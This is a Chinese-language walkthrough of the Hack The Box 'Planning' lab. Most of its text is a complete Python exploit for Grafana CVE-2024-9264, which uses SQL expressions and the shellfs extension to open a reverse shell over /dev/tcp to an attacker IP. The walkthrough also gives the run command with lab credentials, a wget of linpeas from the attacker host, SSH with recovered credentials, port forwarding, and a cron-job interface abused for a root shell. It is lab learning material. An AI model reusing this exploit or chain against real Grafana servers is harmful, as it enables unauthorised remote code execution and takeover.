Pwned-Exploiting HTB Planning

Planning

第一步用nmap进行扫描

1
nmap -sV -sC --min-rate 2000 10.10.11.68 --verbose

发现有22、80端口。那就访问一下80端口

picture 0

发现无法访问,那就添加到/etc/hosts里面
picture 1

1
echo '10.10.11.68\tplanning.htb' | sudo tee -a /etc/hosts

找一找,抓抓包,发现没什么可以利用的,那就扫下其他文件和子域名。

1
gobuster vhost  -u http://planning.htb -w tools/SecLists/Discovery/DNS/combined_subdomains.txt --ne

扫出来一个grafana.planning.htb,加到/etc/hosts里面再访问。
利用题目给出的账号密码登录之后,发现grafana版本为11.0,找找CVE

picture 2

找到了CVE-2024-9264,以及相应POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
import requests
import argparse

"""
Grafana Remote Code Execution (CVE-2024-9264) via SQL Expressions
See here: https://grafana.com/blog/2024/10/17/grafana-security-release-critical-severity-fix-for-cve-2024-9264/

Author: z3k0sec // www.zekosec.com
"""

def authenticate(grafana_url, username, password):
"""
Authenticate to the Grafana instance.

Args:
grafana_url (str): The URL of the Grafana instance.
username (str): The username for authentication.
password (str): The password for authentication.

Returns:
session (requests.Session): The authenticated session.
"""
# Login URL
login_url = f'{grafana_url}/login'

# Login payload
payload = {
'user': username,
'password': password
}

# Create a session to persist cookies
session = requests.Session()

# Perform the login
response = session.post(login_url, json=payload)

# Check if the login was successful
if response.ok:
print("[SUCCESS] Login successful!")
return session # Return the authenticated session
else:
print("[FAILURE] Login failed:", response.status_code, response.text)
return None # Return None if login fails

def create_reverse_shell(session, grafana_url, reverse_ip, reverse_port):
"""
Create a malicious reverse shell payload in Grafana.

Args:
session (requests.Session): The authenticated session.
grafana_url (str): The URL of the Grafana instance.
reverse_ip (str): The IP address for the reverse shell.
reverse_port (str): The port for the reverse shell.
"""
# Construct the reverse shell command
reverse_shell_command = f"/dev/tcp/{reverse_ip}/{reverse_port} 0>&1"

# Define the payload to create a reverse shell
payload = {
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__"
},
# Using the reverse shell command from the arguments
"expression": f"SELECT 1;COPY (SELECT 'sh -i >& {reverse_shell_command}') TO '/tmp/rev';",
"hide": False,
"refId": "B",
"type": "sql",
"window": ""
}
]
}

# Send the POST request to execute the payload
response = session.post(
f"{grafana_url}/api/ds/query?ds_type=__expr__&expression=true&requestId=Q100",
json=payload
)

if response.ok:
print("Reverse shell payload sent successfully!")
print("Set up a netcat listener on " + reverse_port)
else:
print("Failed to send payload:", response.status_code, response.text)

def trigger_reverse_shell(session, grafana_url):
"""
Trigger the reverse shell binary.

Args:
session (requests.Session): The authenticated session.
grafana_url (str): The URL of the Grafana instance.
"""
# SQL command to trigger the reverse shell
payload = {
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__"
},
# install and load the community extension "shellfs" to execute system commands (here: execute our reverse shell)
"expression": "SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('bash /tmp/rev |');",
"hide": False,
"refId": "B",
"type": "sql",
"window": ""
}
]
}

# Trigger the reverse shell via POST
response = session.post(
f"{grafana_url}/api/ds/query?ds_type=__expr__&expression=true&requestId=Q100",
json=payload
)

if response.ok:
print("Triggered reverse shell successfully!")
else:
print("Failed to trigger reverse shell:", response.status_code, response.text)

def main(grafana_url, username, password, reverse_ip, reverse_port):
# Authenticate to Grafana
session = authenticate(grafana_url, username, password)

if session:
# Create the reverse shell payload
create_reverse_shell(session, grafana_url, reverse_ip, reverse_port)

# Trigger the reverse shell binary
trigger_reverse_shell(session, grafana_url)

if __name__ == "__main__":
# Set up command line argument parsing
parser = argparse.ArgumentParser(description='Authenticate to Grafana and create a reverse shell payload')
parser.add_argument('--url', required=True, help='Grafana URL (e.g., http://127.0.0.1:3000)')
parser.add_argument('--username', required=True, help='Grafana username')
parser.add_argument('--password', required=True, help='Grafana password')
parser.add_argument('--reverse-ip', required=True, help='Reverse shell IP address')
parser.add_argument('--reverse-port', required=True, help='Reverse shell port')

args = parser.parse_args()

# Call the main function with the provided arguments
main(args.url, args.username, args.password, args.reverse_ip, args.reverse_port)
1
2
# 直接执行
python3 poc.py --url http://grafana.planning.htb/ --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.16.3 --reverse-port 4444

提权

反弹shell成功,并且为root权限,但是并没有发现flag
picture 3

传入linpeas.sh并执行看看。

1
2
3
4
5
6
7
# 本机执行
python -m http.server 8888

# 靶机执行
wget http://10.10.16.3:8888/linpeas.sh -O linpeas.sh

chmod +x linpeas.sh

执行完之后发现在容器里,看看有什么可以利用的。发现了这个有密码,问问GPT怎么看。
picture 4

gpt说:👉 这是 Grafana 默认管理员凭证,在渗透中很关键。 通常说明 Grafana 是用这个账号 enzo / RioTecRANDEntANT! 来运行的,可能也能拿来登录 Web 界面或复用到其他地方。

SSH登录下看看。登录成功了,顺手获得了user.txt

picture 5

可以看到开启了很多端口,那就一个一个试试,进行端口映射,发现8000端口可以登录。

picture 6

1
ssh -L 9999:127.0.0.1:8000 enzo@10.10.11.68

然后找找系统内是不是存在密码,发现有个.db文件。

picture 7

打开看到了密码凭证。
picture 8

root为账号,登录成功,发现是个设置定时任务的网站,那就反弹shell

picture 9

发现连接成功,获得root权限。

又学到了T_T